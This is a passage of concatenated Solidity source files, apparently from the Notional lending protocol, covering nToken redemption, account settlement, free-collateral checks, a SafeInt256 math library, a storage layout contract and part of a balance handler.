) private returns (int256) {
// Add liquidity to the market
PortfolioAsset memory asset = nToken.portfolioState.storedAssets[index];
// We expect that all the liquidity tokens are in the portfolio in order.
require(
asset.maturity == market.maturity &&
// Ensures that the asset type references the proper liquidity token
asset.assetType == index + Constants.MIN_LIQUIDITY_TOKEN_INDEX &&
// Ensures that the storage state will not be overwritten
asset.storageState == AssetStorageState.NoChange,
"PT: invalid liquidity token"
);
// This will update the market state as well, fCashAmount returned here is negative
(int256 liquidityTokens, int256 fCashAmount) = market.addLiquidity(perMarketDeposit);
asset.notional = asset.notional.add(liquidityTokens);
asset.storageState = AssetStorageState.Update;
return fCashAmount;
}
/// @notice Lends into the market to reduce the leverage that the nToken will add liquidity at. May fail due
/// to slippage or result in some amount of residual cash.
function _deleverageMarket(
CashGroupParameters memory cashGroup,
MarketParameters memory market,
int256 perMarketDeposit,
uint256 blockTime,
uint256 marketIndex
) private returns (int256, int256) {
uint256 timeToMaturity = market.maturity.sub(blockTime);
// Shift the last implied rate by some buffer and calculate the exchange rate to fCash. Hope that this
// is sufficient to cover all potential slippage. We don't use the `getfCashGivenCashAmount` method here
// because it is very gas inefficient.
int256 assumedExchangeRate;
if (market.lastImpliedRate < Constants.DELEVERAGE_BUFFER) {
// Floor the exchange rate at zero interest rate
assumedExchangeRate = Constants.RATE_PRECISION;
} else {
assumedExchangeRate = Market.getExchangeRateFromImpliedRate(
market.lastImpliedRate.sub(Constants.DELEVERAGE_BUFFER),
timeToMaturity
);
}
int256 fCashAmount;
{
int256 perMarketDepositUnderlying =
cashGroup.assetRate.convertToUnderlying(perMarketDeposit);
// NOTE: cash * exchangeRate = fCash
fCashAmount = perMarketDepositUnderlying.mulInRatePrecision(assumedExchangeRate);
}
int256 netAssetCash = market.executeTrade(cashGroup, fCashAmount, timeToMaturity, marketIndex);
// This means that the trade failed
if (netAssetCash == 0) {
return (perMarketDeposit, 0);
} else {
// Ensure that net the per market deposit figure does not drop below zero, this should not be possible
// given how we've calculated the exchange rate but extra caution here
int256 residual = perMarketDeposit.add(netAssetCash);
require(residual >= 0); // dev: insufficient cash
return (residual, fCashAmount);
}
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "../../internal/markets/Market.sol";
import "../../internal/nToken/nTokenHandler.sol";
import "../../internal/nToken/nTokenCalculations.sol";
import "../../internal/portfolio/PortfolioHandler.sol";
import "../../internal/portfolio/TransferAssets.sol";
import "../../internal/balances/BalanceHandler.sol";
import "../../math/SafeInt256.sol";
import "../../math/Bitmap.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
library nTokenRedeemAction {
using SafeInt256 for int256;
using SafeMath for uint256;
using Bitmap for bytes32;
using BalanceHandler for BalanceState;
using Market for MarketParameters;
using CashGroup for CashGroupParameters;
using PortfolioHandler for PortfolioState;
using nTokenHandler for nTokenPortfolio;
/// @notice When redeeming nTokens via the batch they must all be sold to cash and this
/// method will return the amount of asset cash sold.
/// @param currencyId the currency associated the nToken
/// @param tokensToRedeem the amount of nTokens to convert to cash
/// @return amount of asset cash to return to the account, denominated in internal token decimals
function nTokenRedeemViaBatch(uint16 currencyId, int256 tokensToRedeem)
external
returns (int256)
{
uint256 blockTime = block.timestamp;
// prettier-ignore
(
int256 totalAssetCash,
bool hasResidual,
/* PortfolioAssets[] memory newfCashAssets */
) = _redeem(currencyId, tokensToRedeem, true, false, blockTime);
require(!hasResidual, "Cannot redeem via batch, residual");
return totalAssetCash;
}
/// @notice Redeems nTokens for asset cash and fCash
/// @param currencyId the currency associated the nToken
/// @param tokensToRedeem the amount of nTokens to convert to cash
/// @param sellTokenAssets attempt to sell residual fCash and convert to cash, if unsuccessful then place
/// back into the account's portfolio
/// @param acceptResidualAssets if true, then ifCash residuals will be placed into the account and there will
/// be no penalty assessed
/// @return assetCash positive amount of asset cash to the account
/// @return hasResidual true if there are fCash residuals left
/// @return assets an array of fCash asset residuals to place into the account
function redeem(
uint16 currencyId,
int256 tokensToRedeem,
bool sellTokenAssets,
bool acceptResidualAssets
) external returns (int256, bool, PortfolioAsset[] memory) {
return _redeem(
currencyId,
tokensToRedeem,
sellTokenAssets,
acceptResidualAssets,
block.timestamp
);
}
function _redeem(
uint16 currencyId,
int256 tokensToRedeem,
bool sellTokenAssets,
bool acceptResidualAssets,
uint256 blockTime
) internal returns (int256, bool, PortfolioAsset[] memory) {
require(tokensToRedeem > 0);
nTokenPortfolio memory nToken;
nToken.loadNTokenPortfolioStateful(currencyId);
// nTokens cannot be redeemed during the period of time where they require settlement.
require(nToken.getNextSettleTime() > blockTime, "Requires settlement");
require(tokensToRedeem < nToken.totalSupply, "Cannot redeem");
PortfolioAsset[] memory newifCashAssets;
// Get the ifCash bits that are idiosyncratic
bytes32 ifCashBits = nTokenCalculations.getNTokenifCashBits(
nToken.tokenAddress,
currencyId,
nToken.lastInitializedTime,
blockTime,
nToken.cashGroup.maxMarketIndex
);
if (ifCashBits != 0 && acceptResidualAssets) {
// This will remove all the ifCash assets proportionally from the account
newifCashAssets = _reduceifCashAssetsProportional(
nToken.tokenAddress,
currencyId,
nToken.lastInitializedTime,
tokensToRedeem,
nToken.totalSupply,
ifCashBits
);
// Once the ifCash bits have been withdrawn, set this to zero so that getLiquidityTokenWithdraw
// simply gets the proportional amount of liquidity tokens to remove
ifCashBits = 0;
}
// Returns the liquidity tokens to withdraw per market and the netfCash amounts. Net fCash amounts are only
// set when ifCashBits != 0. Otherwise they must be calculated in _withdrawLiquidityTokens
(int256[] memory tokensToWithdraw, int256[] memory netfCash) = nTokenCalculations.getLiquidityTokenWithdraw(
nToken,
tokensToRedeem,
blockTime,
ifCashBits
);
// Returns the totalAssetCash as a result of withdrawing liquidity tokens and cash. netfCash will be updated
// in memory if required and will contain the fCash to be sold or returned to the portfolio
int256 totalAssetCash = _reduceLiquidAssets(
nToken,
tokensToRedeem,
tokensToWithdraw,
netfCash,
ifCashBits == 0, // If there are no residuals then we need to populate netfCash amounts
blockTime
);
bool netfCashRemaining = true;
if (sellTokenAssets) {
int256 assetCash;
// NOTE: netfCash is modified in place and set to zero if the fCash is sold
(assetCash, netfCashRemaining) = _sellfCashAssets(nToken, netfCash, blockTime);
totalAssetCash = totalAssetCash.add(assetCash);
}
if (netfCashRemaining) {
// If the account is unwilling to accept residuals then will fail here.
require(acceptResidualAssets, "Residuals");
newifCashAssets = _addResidualsToAssets(nToken.portfolioState.storedAssets, newifCashAssets, netfCash);
}
return (totalAssetCash, netfCashRemaining, newifCashAssets);
}
/// @notice Removes liquidity tokens and cash from the nToken
/// @param nToken portfolio object
/// @param nTokensToRedeem tokens to redeem
/// @param tokensToWithdraw array of liquidity tokens to withdraw
/// @param netfCash array of netfCash figures
/// @param mustCalculatefCash true if netfCash must be calculated in the removeLiquidityTokens step
/// @param blockTime current block time
/// @return assetCashShare amount of cash the redeemer will receive from withdrawing cash assets from the nToken
function _reduceLiquidAssets(
nTokenPortfolio memory nToken,
int256 nTokensToRedeem,
int256[] memory tokensToWithdraw,
int256[] memory netfCash,
bool mustCalculatefCash,
uint256 blockTime
) private returns (int256 assetCashShare) {
// Get asset cash share for the nToken, if it exists. It is required in balance handler that the
// nToken can never have a negative cash asset cash balance so what we get here is always positive
// or zero.
assetCashShare = nToken.cashBalance.mul(nTokensToRedeem).div(nToken.totalSupply);
if (assetCashShare > 0) {
nToken.cashBalance = nToken.cashBalance.subNoNeg(assetCashShare);
BalanceHandler.setBalanceStorageForNToken(
nToken.tokenAddress,
nToken.cashGroup.currencyId,
nToken.cashBalance
);
}
// Get share of liquidity tokens to remove, netfCash is modified in memory during this method if mustCalculatefcash
// is set to true
assetCashShare = assetCashShare.add(
_removeLiquidityTokens(nToken, nTokensToRedeem, tokensToWithdraw, netfCash, blockTime, mustCalculatefCash)
);
nToken.portfolioState.storeAssets(nToken.tokenAddress);
// NOTE: Token supply change will happen when we finalize balances and after minting of incentives
return assetCashShare;
}
/// @notice Removes nToken liquidity tokens and updates the netfCash figures.
/// @param nToken portfolio object
/// @param nTokensToRedeem tokens to redeem
/// @param tokensToWithdraw array of liquidity tokens to withdraw
/// @param netfCash array of netfCash figures
/// @param blockTime current block time
/// @param mustCalculatefCash true if netfCash must be calculated in the removeLiquidityTokens step
/// @return totalAssetCashClaims is the amount of asset cash raised from liquidity token cash claims
function _removeLiquidityTokens(
nTokenPortfolio memory nToken,
int256 nTokensToRedeem,
int256[] memory tokensToWithdraw,
int256[] memory netfCash,
uint256 blockTime,
bool mustCalculatefCash
) private returns (int256 totalAssetCashClaims) {
MarketParameters memory market;
for (uint256 i = 0; i < nToken.portfolioState.storedAssets.length; i++) {
PortfolioAsset memory asset = nToken.portfolioState.storedAssets[i];
asset.notional = asset.notional.sub(tokensToWithdraw[i]);
// Cannot redeem liquidity tokens down to zero or this will cause many issues with
// market initialization.
require(asset.notional > 0, "Cannot redeem to zero");
require(asset.storageState == AssetStorageState.NoChange);
asset.storageState = AssetStorageState.Update;
// This will load a market object in memory
nToken.cashGroup.loadMarket(market, i + 1, true, blockTime);
int256 fCashClaim;
{
int256 assetCash;
// Remove liquidity from the market
(assetCash, fCashClaim) = market.removeLiquidity(tokensToWithdraw[i]);
totalAssetCashClaims = totalAssetCashClaims.add(assetCash);
}
int256 fCashToNToken;
if (mustCalculatefCash) {
// Do this calculation if net ifCash is not set, will happen if there are no residuals
int256 fCashShare = BitmapAssetsHandler.getifCashNotional(
nToken.tokenAddress,
nToken.cashGroup.currencyId,
asset.maturity
);
fCashShare = fCashShare.mul(nTokensToRedeem).div(nToken.totalSupply);
// netfCash = fCashClaim + fCashShare
netfCash[i] = fCashClaim.add(fCashShare);
fCashToNToken = fCashShare.neg();
} else {
// Account will receive netfCash amount. Deduct that from the fCash claim and add the
// remaining back to the nToken to net off the nToken's position
// fCashToNToken = -fCashShare
// netfCash = fCashClaim + fCashShare
// fCashToNToken = -(netfCash - fCashClaim)
// fCashToNToken = fCashClaim - netfCash
fCashToNToken = fCashClaim.sub(netfCash[i]);
}
// Removes the account's fCash position from the nToken
BitmapAssetsHandler.addifCashAsset(
nToken.tokenAddress,
asset.currencyId,
asset.maturity,
nToken.lastInitializedTime,
fCashToNToken
);
}
return totalAssetCashClaims;
}
/// @notice Sells fCash assets back into the market for cash. Negative fCash assets will decrease netAssetCash
/// as a result. The aim here is to ensure that accounts can redeem nTokens without having to take on
/// fCash assets.
function _sellfCashAssets(
nTokenPortfolio memory nToken,
int256[] memory netfCash,
uint256 blockTime
) private returns (int256 totalAssetCash, bool hasResidual) {
MarketParameters memory market;
hasResidual = false;
for (uint256 i = 0; i < netfCash.length; i++) {
if (netfCash[i] == 0) continue;
nToken.cashGroup.loadMarket(market, i + 1, false, blockTime);
int256 netAssetCash = market.executeTrade(
nToken.cashGroup,
// Use the negative of fCash notional here since we want to net it out
netfCash[i].neg(),
nToken.portfolioState.storedAssets[i].maturity.sub(blockTime),
i + 1
);
if (netAssetCash == 0) {
// This means that the trade failed
hasResidual = true;
} else {
totalAssetCash = totalAssetCash.add(netAssetCash);
netfCash[i] = 0;
}
}
}
/// @notice Combines newifCashAssets array with netfCash assets into a single finalfCashAssets array
function _addResidualsToAssets(
PortfolioAsset[] memory liquidityTokens,
PortfolioAsset[] memory newifCashAssets,
int256[] memory netfCash
) internal pure returns (PortfolioAsset[] memory finalfCashAssets) {
uint256 numAssetsToExtend;
for (uint256 i = 0; i < netfCash.length; i++) {
if (netfCash[i] != 0) numAssetsToExtend++;
}
uint256 newLength = newifCashAssets.length + numAssetsToExtend;
finalfCashAssets = new PortfolioAsset[](newLength);
uint index = 0;
for (; index < newifCashAssets.length; index++) {
finalfCashAssets[index] = newifCashAssets[index];
}
uint netfCashIndex = 0;
for (; index < finalfCashAssets.length; ) {
if (netfCash[netfCashIndex] != 0) {
PortfolioAsset memory asset = finalfCashAssets[index];
asset.currencyId = liquidityTokens[netfCashIndex].currencyId;
asset.maturity = liquidityTokens[netfCashIndex].maturity;
asset.assetType = Constants.FCASH_ASSET_TYPE;
asset.notional = netfCash[netfCashIndex];
index++;
}
netfCashIndex++;
}
return finalfCashAssets;
}
/// @notice Used to reduce an nToken ifCash assets portfolio proportionately when redeeming
/// nTokens to its underlying assets.
function _reduceifCashAssetsProportional(
address account,
uint256 currencyId,
uint256 lastInitializedTime,
int256 tokensToRedeem,
int256 totalSupply,
bytes32 assetsBitmap
) internal returns (PortfolioAsset[] memory) {
uint256 index = assetsBitmap.totalBitsSet();
mapping(address => mapping(uint256 =>
mapping(uint256 => ifCashStorage))) storage store = LibStorage.getifCashBitmapStorage();
PortfolioAsset[] memory assets = new PortfolioAsset[](index);
index = 0;
uint256 bitNum = assetsBitmap.getNextBitNum();
while (bitNum != 0) {
uint256 maturity = DateTime.getMaturityFromBitNum(lastInitializedTime, bitNum);
ifCashStorage storage fCashSlot = store[account][currencyId][maturity];
int256 notional = fCashSlot.notional;
int256 notionalToTransfer = notional.mul(tokensToRedeem).div(totalSupply);
int256 finalNotional = notional.sub(notionalToTransfer);
require(type(int128).min <= finalNotional && finalNotional <= type(int128).max); // dev: bitmap notional overflow
fCashSlot.notional = int128(finalNotional);
PortfolioAsset memory asset = assets[index];
asset.currencyId = currencyId;
asset.maturity = maturity;
asset.assetType = Constants.FCASH_ASSET_TYPE;
asset.notional = notionalToTransfer;
index += 1;
// Turn off the bit and look for the next one
assetsBitmap = assetsBitmap.setBit(bitNum, false);
bitNum = assetsBitmap.getNextBitNum();
}
return assets;
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "../internal/portfolio/PortfolioHandler.sol";
import "../internal/balances/BalanceHandler.sol";
import "../internal/settlement/SettlePortfolioAssets.sol";
import "../internal/settlement/SettleBitmapAssets.sol";
import "../internal/AccountContextHandler.sol";
/// @notice External library for settling assets
library SettleAssetsExternal {
using PortfolioHandler for PortfolioState;
using AccountContextHandler for AccountContext;
event AccountSettled(address indexed account);
/// @notice Settles an account, returns the new account context object after settlement.
/// @dev The memory location of the account context object is not the same as the one returned.
function settleAccount(
address account,
AccountContext memory accountContext
) external returns (AccountContext memory) {
// Defensive check to ensure that this is a valid settlement
require(accountContext.mustSettleAssets());
SettleAmount[] memory settleAmounts;
PortfolioState memory portfolioState;
if (accountContext.isBitmapEnabled()) {
(int256 settledCash, uint256 blockTimeUTC0) =
SettleBitmapAssets.settleBitmappedCashGroup(
account,
accountContext.bitmapCurrencyId,
accountContext.nextSettleTime,
block.timestamp
);
require(blockTimeUTC0 < type(uint40).max); // dev: block time utc0 overflow
accountContext.nextSettleTime = uint40(blockTimeUTC0);
settleAmounts = new SettleAmount[](1);
settleAmounts[0] = SettleAmount(accountContext.bitmapCurrencyId, settledCash);
} else {
portfolioState = PortfolioHandler.buildPortfolioState(
account,
accountContext.assetArrayLength,
0
);
settleAmounts = SettlePortfolioAssets.settlePortfolio(portfolioState, block.timestamp);
accountContext.storeAssetsAndUpdateContext(account, portfolioState, false);
}
BalanceHandler.finalizeSettleAmounts(account, accountContext, settleAmounts);
emit AccountSettled(account);
return accountContext;
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "../external/SettleAssetsExternal.sol";
import "../internal/AccountContextHandler.sol";
import "../internal/valuation/FreeCollateral.sol";
/// @title Externally deployed library for free collateral calculations
library FreeCollateralExternal {
using AccountContextHandler for AccountContext;
/// @notice Returns the ETH denominated free collateral of an account, represents the amount of
/// debt that the account can incur before liquidation. If an account's assets need to be settled this
/// will revert, either settle the account or use the off chain SDK to calculate free collateral.
/// @dev Called via the Views.sol method to return an account's free collateral. Does not work
/// for the nToken, the nToken does not have an account context.
/// @param account account to calculate free collateral for
/// @return total free collateral in ETH w/ 8 decimal places
/// @return array of net local values in asset values ordered by currency id
function getFreeCollateralView(address account)
external
view
returns (int256, int256[] memory)
{
AccountContext memory accountContext = AccountContextHandler.getAccountContext(account);
// The internal free collateral function does not account for settled assets. The Notional SDK
// can calculate the free collateral off chain if required at this point.
require(!accountContext.mustSettleAssets(), "Assets not settled");
return FreeCollateral.getFreeCollateralView(account, accountContext, block.timestamp);
}
/// @notice Calculates free collateral and will revert if it falls below zero. If the account context
/// must be updated due to changes in debt settings, will update. Cannot check free collateral if assets
/// need to be settled first.
/// @dev Cannot be called directly by users, used during various actions that require an FC check. Must be
/// called before the end of any transaction for accounts where FC can decrease.
/// @param account account to calculate free collateral for
function checkFreeCollateralAndRevert(address account) external {
AccountContext memory accountContext = AccountContextHandler.getAccountContext(account);
require(!accountContext.mustSettleAssets(), "Assets not settled");
(int256 ethDenominatedFC, bool updateContext) =
FreeCollateral.getFreeCollateralStateful(account, accountContext, block.timestamp);
if (updateContext) {
accountContext.setAccountContext(account);
}
require(ethDenominatedFC >= 0, "Insufficient free collateral");
}
/// @notice Calculates liquidation factors for an account
/// @dev Only called internally by liquidation actions, does some initial validation of currencies. If a currency is
/// specified that the account does not have, a asset available figure of zero will be returned. If this is the case then
/// liquidation actions will revert.
/// @dev an ntoken account will return 0 FC and revert if called
/// @param account account to liquidate
/// @param localCurrencyId currency that the debts are denominated in
/// @param collateralCurrencyId collateral currency to liquidate against, set to zero in the case of local currency liquidation
/// @return accountContext the accountContext of the liquidated account
/// @return factors struct of relevant factors for liquidation
/// @return portfolio the portfolio array of the account (bitmap accounts will return an empty array)
function getLiquidationFactors(
address account,
uint256 localCurrencyId,
uint256 collateralCurrencyId
)
external
returns (
AccountContext memory accountContext,
LiquidationFactors memory factors,
PortfolioAsset[] memory portfolio
)
{
accountContext = AccountContextHandler.getAccountContext(account);
if (accountContext.mustSettleAssets()) {
accountContext = SettleAssetsExternal.settleAccount(account, accountContext);
}
if (accountContext.isBitmapEnabled()) {
// A bitmap currency can only ever hold debt in this currency
require(localCurrencyId == accountContext.bitmapCurrencyId);
}
(factors, portfolio) = FreeCollateral.getLiquidationFactors(
account,
accountContext,
block.timestamp,
localCurrencyId,
collateralCurrencyId
);
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
import "../global/Constants.sol";
library SafeInt256 {
int256 private constant _INT256_MIN = type(int256).min;
/// @dev Returns the multiplication of two signed integers, reverting on
/// overflow.
/// Counterpart to Solidity's `*` operator.
/// Requirements:
/// - Multiplication cannot overflow.
function mul(int256 a, int256 b) internal pure returns (int256 c) {
c = a * b;
if (a == -1) require (b == 0 || c / b == a);
else require (a == 0 || c / a == b);
}
/// @dev Returns the integer division of two signed integers. Reverts on
/// division by zero. The result is rounded towards zero.
/// Counterpart to Solidity's `/` operator. Note: this function uses a
/// `revert` opcode (which leaves remaining gas untouched) while Solidity
/// uses an invalid opcode to revert (consuming all remaining gas).
/// Requirements:
/// - The divisor cannot be zero.
function div(int256 a, int256 b) internal pure returns (int256 c) {
require(!(b == -1 && a == _INT256_MIN)); // dev: int256 div overflow
// NOTE: solidity will automatically revert on divide by zero
c = a / b;
}
function sub(int256 x, int256 y) internal pure returns (int256 z) {
// taken from uniswap v3
require((z = x - y) <= x == (y >= 0));
}
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
function neg(int256 x) internal pure returns (int256 y) {
return mul(-1, x);
}
function abs(int256 x) internal pure returns (int256) {
if (x < 0) return neg(x);
else return x;
}
function subNoNeg(int256 x, int256 y) internal pure returns (int256 z) {
z = sub(x, y);
require(z >= 0); // dev: int256 sub to negative
return z;
}
/// @dev Calculates x * RATE_PRECISION / y while checking overflows
function divInRatePrecision(int256 x, int256 y) internal pure returns (int256) {
return div(mul(x, Constants.RATE_PRECISION), y);
}
/// @dev Calculates x * y / RATE_PRECISION while checking overflows
function mulInRatePrecision(int256 x, int256 y) internal pure returns (int256) {
return div(mul(x, y), Constants.RATE_PRECISION);
}
function toUint(int256 x) internal pure returns (uint256) {
require(x >= 0);
return uint256(x);
}
function toInt(uint256 x) internal pure returns (int256) {
require (x <= uint256(type(int256).max)); // dev: toInt overflow
return int256(x);
}
function max(int256 x, int256 y) internal pure returns (int256) {
return x > y ? x : y;
}
function min(int256 x, int256 y) internal pure returns (int256) {
return x < y ? x : y;
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "./Types.sol";
/**
* @notice Storage layout for the system. Do not change this file once deployed, future storage
* layouts must inherit this and increment the version number.
*/
contract StorageLayoutV1 {
// The current maximum currency id
uint16 internal maxCurrencyId;
// Sets the state of liquidations being enabled during a paused state. Each of the four lower
// bits can be turned on to represent one of the liquidation types being enabled.
bytes1 internal liquidationEnabledState;
// Set to true once the system has been initialized
bool internal hasInitialized;
/* Authentication Mappings */
// This is set to the timelock contract to execute governance functions
address public owner;
// This is set to an address of a router that can only call governance actions
address public pauseRouter;
// This is set to an address of a router that can only call governance actions
address public pauseGuardian;
// On upgrades this is set in the case that the pause router is used to pass the rollback check
address internal rollbackRouterImplementation;
// A blanket allowance for a spender to transfer any of an account's nTokens. This would allow a user
// to set an allowance on all nTokens for a particular integrating contract system.
// owner => spender => transferAllowance
mapping(address => mapping(address => uint256)) internal nTokenWhitelist;
// Individual transfer allowances for nTokens used for ERC20
// owner => spender => currencyId => transferAllowance
mapping(address => mapping(address => mapping(uint16 => uint256))) internal nTokenAllowance;
// Transfer operators
// Mapping from a global ERC1155 transfer operator contract to an approval value for it
mapping(address => bool) internal globalTransferOperator;
// Mapping from an account => operator => approval status for that operator. This is a specific
// approval between two addresses for ERC1155 transfers.
mapping(address => mapping(address => bool)) internal accountAuthorizedTransferOperator;
// Approval for a specific contract to use the `batchBalanceAndTradeActionWithCallback` method in
// BatchAction.sol, can only be set by governance
mapping(address => bool) internal authorizedCallbackContract;
// Reverse mapping from token addresses to currency ids, only used for referencing in views
// and checking for duplicate token listings.
mapping(address => uint16) internal tokenAddressToCurrencyId;
// Reentrancy guard
uint256 internal reentrancyStatus;
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "./Incentives.sol";
import "./TokenHandler.sol";
import "../AccountContextHandler.sol";
import "../../global/Types.sol";
import "../../global/Constants.sol";
import "../../math/SafeInt256.sol";
import "../../math/FloatingPoint56.sol";
library BalanceHandler {
using SafeInt256 for int256;
using TokenHandler for Token;
using AssetRate for AssetRateParameters;
using AccountContextHandler for AccountContext;
/// @notice Emitted when a cash balance changes
event CashBalanceChange(address indexed account, uint16 indexed currencyId, int256 netCashChange);
/// @notice Emitted when nToken supply changes (not the same as transfers)
event nTokenSupplyChange(address indexed account, uint16 indexed currencyId, int256 tokenSupplyChange);
/// @notice Emitted when reserve fees are accrued
event ReserveFeeAccrued(uint16 indexed currencyId, int256 fee);
/// @notice Emitted when reserve balance is updated
event ReserveBalanceUpdated(uint16 indexed currencyId, int256 newBalance);
/// @notice Emitted when reserve balance is harvested
event ExcessReserveBalanceHarvested(uint16 indexed currencyId, int256 harvestAmount);
/// @notice Deposits asset tokens into an account
/// @dev Handles two special cases when depositing tokens into an account.
/// - If a token has transfer fees then the amount specified does not equal the amount that the contract
/// will receive. Complete the deposit here rather than in finalize so that the contract has the correct
/// balance to work with.
/// - Force a transfer before finalize to allow a different account to deposit into an account
/// @return assetAmountInternal which is the converted asset amount accounting for transfer fees
function depositAssetToken(
BalanceState memory balanceState,
address account,
int256 assetAmountExternal,
bool forceTransfer
) internal returns (int256 assetAmountInternal) {
if (assetAmountExternal == 0) return 0;
require(assetAmountExternal > 0); // dev: deposit asset token amount negative
Token memory token = TokenHandler.getAssetToken(balanceState.currencyId);
if (token.tokenType == TokenType.aToken) {
// Handles special accounting requirements for aTokens
assetAmountExternal = AaveHandler.convertToScaledBalanceExternal(
balanceState.currencyId,
assetAmountExternal
);
}
// Force transfer is used to complete the transfer before going to finalize
if (token.hasTransferFee || forceTransfer) {
// If the token has a transfer fee the deposit amount may not equal the actual amount
// that the contract will receive. We handle the deposit here and then update the netCashChange
// accordingly which is denominated in internal precision.
int256 assetAmountExternalPrecisionFinal = token.transfer(account, balanceState.currencyId, assetAmountExternal);
// Convert the external precision to internal, it's possible that we lose dust amounts here but
// this is unavoidable because we do not know how transfer fees are calculated.
assetAmountInternal = token.convertToInternal(assetAmountExternalPrecisionFinal);
// Transfer has been called
balanceState.netCashChange = balanceState.netCashChange.add(assetAmountInternal);
return assetAmountInternal;
} else {
assetAmountInternal = token.convertToInternal(assetAmountExternal);
// Otherwise add the asset amount here. It may be net off later and we want to only do
// a single transfer during the finalize method. Use internal precision to ensure that internal accounting
// and external account remain in sync.
// Transfer will be deferred
balanceState.netAssetTransferInternalPrecision = balanceState
.netAssetTransferInternalPrecision
.add(assetAmountInternal);
// Returns the converted assetAmountExternal to the internal amount
return assetAmountInternal;
}
}
/// @notice Handle deposits of the underlying token
/// @dev In this case we must wrap the underlying token into an asset token, ensuring that we do not end up
/// with any underlying tokens left as dust on the contract.
function depositUnderlyingToken(
BalanceState memory balanceState,
address account,
int256 underlyingAmountExternal
) internal returns (int256) {
if (underlyingAmountExternal == 0) return 0;
require(underlyingAmountExternal > 0); // dev: deposit underlying token negative
Token memory underlyingToken = TokenHandler.getUnderlyingToken(balanceState.currencyId);
// This is the exact amount of underlying tokens the account has in external precision.
if (underlyingToken.tokenType == TokenType.Ether) {
// Underflow checked above
require(uint256(underlyingAmountExternal) == msg.value, "ETH Balance");
} else {
underlyingAmountExternal = underlyingToken.transfer(account, balanceState.currencyId, underlyingAmountExternal);
}
Token memory assetToken = TokenHandler.getAssetToken(balanceState.currencyId);
int256 assetTokensReceivedExternalPrecision =
assetToken.mint(balanceState.currencyId, SafeInt256.toUint(underlyingAmountExternal));
// cTokens match INTERNAL_TOKEN_PRECISION so this will short circuit but we leave this here in case a different
// type of asset token is listed in the future. It's possible if those tokens have a different precision dust may
// accrue but that is not relevant now.
int256 assetTokensReceivedInternal =
assetToken.convertToInternal(assetTokensReceivedExternalPrecision);
// Transfer / mint has taken effect
balanceState.netCashChange = balanceState.netCashChange.add(assetTokensReceivedInternal);
return assetTokensReceivedInternal;
}
/// @notice Finalizes an account's balances, handling any transfer logic required
/// @dev This method SHOULD NOT be used for nToken accounts, for that use setBalanceStorageForNToken
/// as the nToken is limited in what types of balances it can hold.
function finalize(
BalanceState memory balanceState,
address account,
AccountContext memory accountContext,
bool redeemToUnderlying
) internal returns (int256 transferAmountExternal) {
bool mustUpdate;
if (balanceState.netNTokenTransfer < 0) {
require(
balanceState.storedNTokenBalance
.add(balanceState.netNTokenSupplyChange)
.add(balanceState.netNTokenTransfer) >= 0,
"Neg nToken"
);
}
if (balanceState.netAssetTransferInternalPrecision < 0) {
require(
balanceState.storedCashBalance
.add(balanceState.netCashChange)
.add(balanceState.netAssetTransferInternalPrecision) >= 0,
"Neg Cash"
);
}
// Transfer amount is checked inside finalize transfers in case when converting to external we
// round down to zero. This returns the actual net transfer in internal precision as well.
(
transferAmountExternal,
balanceState.netAssetTransferInternalPrecision
) = _finalizeTransfers(balanceState, account, redeemToUnderlying);
// No changes to total cash after this point
int256 totalCashChange = balanceState.netCashChange.add(balanceState.netAssetTransferInternalPrecision);
if (totalCashChange != 0) {
balanceState.storedCashBalance = balanceState.storedCashBalance.add(totalCashChange);
mustUpdate = true;
emit CashBalanceChange(
account,
uint16(balanceState.currencyId),
totalCashChange
);
}
if (balanceState.netNTokenTransfer != 0 || balanceState.netNTokenSupplyChange != 0) {
// Final nToken balance is used to calculate the account incentive debt
int256 finalNTokenBalance = balanceState.storedNTokenBalance
.add(balanceState.netNTokenTransfer)
.add(balanceState.netNTokenSupplyChange);
// The toUint() call here will ensure that nToken balances never become negative
Incentives.claimIncentives(balanceState, account, finalNTokenBalance.toUint());
balanceState.storedNTokenBalance = finalNTokenBalance;
if (balanceState.netNTokenSupplyChange != 0) {
emit nTokenSupplyChange(
account,
uint16(balanceState.currencyId),
balanceState.netNTokenSupplyChange
);
}
mustUpdate = true;
}
if (mustUpdate) {
_setBalanceStorage(
account,
balanceState.currencyId,
balanceState.storedCashBalance,
balanceState.storedNTokenBalance,
balanceState.lastClaimTime,
balanceState.accountIncentiveDebt
);
}
accountContext.setActiveCurrency(
balanceState.currencyId,
// Set active currency to true if either balance is non-zero
balanceState.storedCashBalance != 0 || balanceState.storedNTokenBalance != 0,
Constants.ACTIVE_IN_BALANCES
);
if (balanceState.storedCashBalance < 0) {
// NOTE: HAS_CASH_DEBT cannot be extinguished except by a free collateral check where all balances
// are examined
accountContext.hasDebt = accountContext.hasDebt | Constants.HAS_CASH_DEBT;
}
}
/// @dev Returns the amount transferred in underlying or asset terms depending on how redeem to underlying
/// is specified.
function _finalizeTransfers(
BalanceState memory balanceState,
address account,
bool redeemToUnderlying
) private returns (int256 actualTransferAmountExternal, int256 assetTransferAmountInternal) {
Token memory assetToken = TokenHandler.getAssetToken(balanceState.currencyId);
// Dust accrual to the protocol is possible if the token decimals is less than internal token precision.
// See the comments in TokenHandler.convertToExternal and TokenHandler.convertToInternal
int256 assetTransferAmountExternal =
assetToken.convertToExternal(balanceState.netAssetTransferInternalPrecision);
if (assetTransferAmountExternal == 0) {
return (0, 0);
} else if (redeemToUnderlying && assetTransferAmountExternal < 0) {
// We only do the redeem to underlying if the asset transfer amount is less than zero. If it is greater than
// zero then we will do a normal transfer instead.
// We use the internal amount here and then scale it to the external amount so that there is
// no loss of precision between our internal accounting and the external account. In this case
// there will be no dust accrual in underlying tokens since we will transfer the exact amount
// of underlying that was received.
actualTransferAmountExternal = assetToken.redeem(
balanceState.currencyId,
account,
// No overflow, checked above
uint256(assetTransferAmountExternal.neg())
);
// In this case we're transferring underlying tokens, we want to convert the internal
// asset transfer amount to store in cash balances
